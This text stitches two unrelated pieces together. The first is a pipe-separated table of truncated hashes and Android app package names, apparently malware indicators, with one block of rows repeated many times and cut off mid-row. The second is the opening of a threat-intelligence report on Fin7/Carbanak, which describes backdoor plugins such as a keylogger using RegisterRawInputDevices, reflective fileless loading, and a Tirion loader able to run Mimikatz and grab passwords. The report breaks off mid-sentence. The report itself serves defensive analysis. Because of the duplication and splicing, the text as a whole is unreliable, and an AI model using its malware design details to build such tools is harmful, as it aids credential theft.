76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-
# OpBlueRaven: Unveiling Fin7/Carbanak - Part I: Tirion **PTI Team** July 31, 2020 This article aims to provide its readers with the details about PRODAFT & INVICTUS Threat Intelligence (PTI) team’s latest operation on different threat actors who have been detected to be working in cooperation with the notorious Fin7 APT group. Throughout this article, which is planned to be released in 6/7 successive parts, we will approach different aspects of our operation, which had been continued for the last 3 months until the end of July. Throughout these articles, all of which originate from a single OPSEC failure on the threat actor’s side, we will try to expand the topic on a step-by-step basis, similar to how we expanded our scope as we’ve continued to discover further. ## Neverbeforeseen Facts about Fin7 and Carbanak: Part 1 Between the months of May and July 2020, four members of PRODAFT Threat Intelligence team have conducted operation BlueRaven. A case study which originated from discovering a minor OpSec failure of a seemingly unimportant group of threat actors. Of course, these threat actors have later been found to have ties with the notorious Fin7 / Carbanak threat actors. PTI’s OP has originated from an OPSEC failure on the attacker’s side. Unlike previously discovered and published data, what makes this OP special is we have managed to discover an important deal of unpublished information about attackers’ toolset which reveals the TTP of attackers. Carbanak Group / Fin7, which was first detected in 2014, is one of the most effective APT groups in the world and is among the first known APT groups. The group is thought to cause damage over 900 million dollars worldwide. Our OP has resulted in the discovery of the following critical findings about these threat actors: - The real identity of some of the attackers in Fin7 has been obtained. - Detailed evidence has emerged about Fin7’s tools and attack methods. - The relationship between Fin7 and REvil ransomware group has emerged. This report was written to raise awareness and assist cyber security experts’ analysis. Of course, some of our findings have been redacted. So, authorized bodies may get in touch with PRODAFT or INVICTUS for further disclosure. Each article will deal with a specific aspect of the operation, including but not limited to attack methods, organizations, and identities of the attackers. Our team has managed to eavesdrop on different jabber conversations between attackers. Most of these conversations will also be published throughout these series. ## Carbanak Backdoor Carbanak Backdoor was among the first findings that our group has acquired. The current version of CARBANAK backdoor is the first tool that caught the attention of our team. The “3.7.5” version, which was compiled in November 2019 according to PE file header, is the last detected version of the backdoor command and control server. We compared the last version we obtained with the versions of the “Command Manager” in Virustotal in 2017 and conducted a review on this tool. The differences between the source codes obtained as a result of the decompilation of the two versions can be seen. The left column belongs to the file uploaded to Virustotal in 2017, and the right column belongs to the “3.7.5” version that our team obtained. The blue lines refer to files that differ, while the green lines represent new files. As a result of the examination made on both command and control server software, it was seen that the basic changes were made to manage plugins through the GUI interface, to create a more detailed error log, and to add new language encodings. 6 versions of the malware “Command Manager” tool compiled in 2019 have been identified. The timestamps of the detected versions are given below. | Version | Compile Time | |---------|----------------------------| | 3.7.5 | Thu Nov 7 16:50:51 2019 | | 3.7.3 | Mon Sep 16 18:06:32 2019 | | 3.7.2 | Wed Jul 24 20:52:26 2019 | | 3.7.1 | Fri Jul 5 21:16:24 2019 | | 3.6.3 | Thu May 16 11:13:05 2019 | | 3.6 | Fri Apr 19 10:17:22 2019 | In the old version of Bot.dll, which is the component of the malware working on victim devices, 981 functions were detected with disassembly while 706 functions were detected in the new version of the same software. With Diaphora binary diffing tool, 607 functions get the best match score, while 43 functions get partial match. Also, the new bot file has less than 50kb of file size compared to the old version in Virustotal. When the new bot file is examined, it is seen that the functions other than the basic functions in the old version are implemented as plugins. These new plugins, which perform operations such as keylogging and process monitoring, are executed filelessly with the reflective loading method. As a result, the file size of the malware shrinks, leaving less trace for forensic and signature-based security software solutions. The plugins in the last data obtained are listed below: - hd.plug - hd64.plug - hvnc.plug - hvnc64.plug - keylog.dll - keylog64.dll - procmon.dll - procmon64.dll - rdpwrap.dll - switcher.dll - switcher64.dll - vnc.plug - vnc64.plug In this section, some of the plugins that are “not” among the previously discovered files will be examined. As these are among the neverbeforeseen features of the notorious toolkit, we believe following sections to be very important in terms of further analyzing the group’s TTP. ### Keylogging Plugin The “keylog.dll” plugin captures user keystrokes using the RegisterRawInputDevices API. To determine in which context the keystrokes are used, “Executable File Path”, “Windows Text” and Timestamp information of the foreground process is logged together with the keystrokes. The keylogging plug-in converts the collected data to Bitmap using Windows GDI + APIs and writes it to the folder named “SA45E91.tmp” in the user’s %TEMP% directory. ### Process Monitor Plugin This plugin can track processes running in the target system and is used to obtain information about the start and termination times of the desired process. ## Tirion Loader a.k.a Future of Carbanak Backdoor The malware named Tirion, which is thought to be developed to replace the Carbanak backdoor, is the new loader tool of the Fin7 group. It contains many functions for information gathering, code execution, recon, and lateral movement purposes. As in the latest version of the Carbanak backdoor, many functions performed by the malware have been developed as separate plugins. They are loaded and executed filelessly in the target system with the reflective loading method. Exposed data shows that the development of the Carbanak backdoor is currently stopped and development and tests are being performed on the Tirion Loader by the same team. Communication logs between attackers show that this new tool is intended to replace the Carbanak backdoor. Our team has detected 8 different Tirion Loader command and control servers currently used. The functions of Tirion malware are as follows: - Information Gathering - Taking Screenshot - List Running Processes - Command / Code execution - Process Migration - Mimikatz Execution - Password Grabbing - Active Directory and Network Recon The latest detected version of Tirion Loader belongs to the version “1.6.4” compiled on “Sun Jun 28 23:24:03 2020”. The “1.0” version, which is the oldest version detected and thought to be the 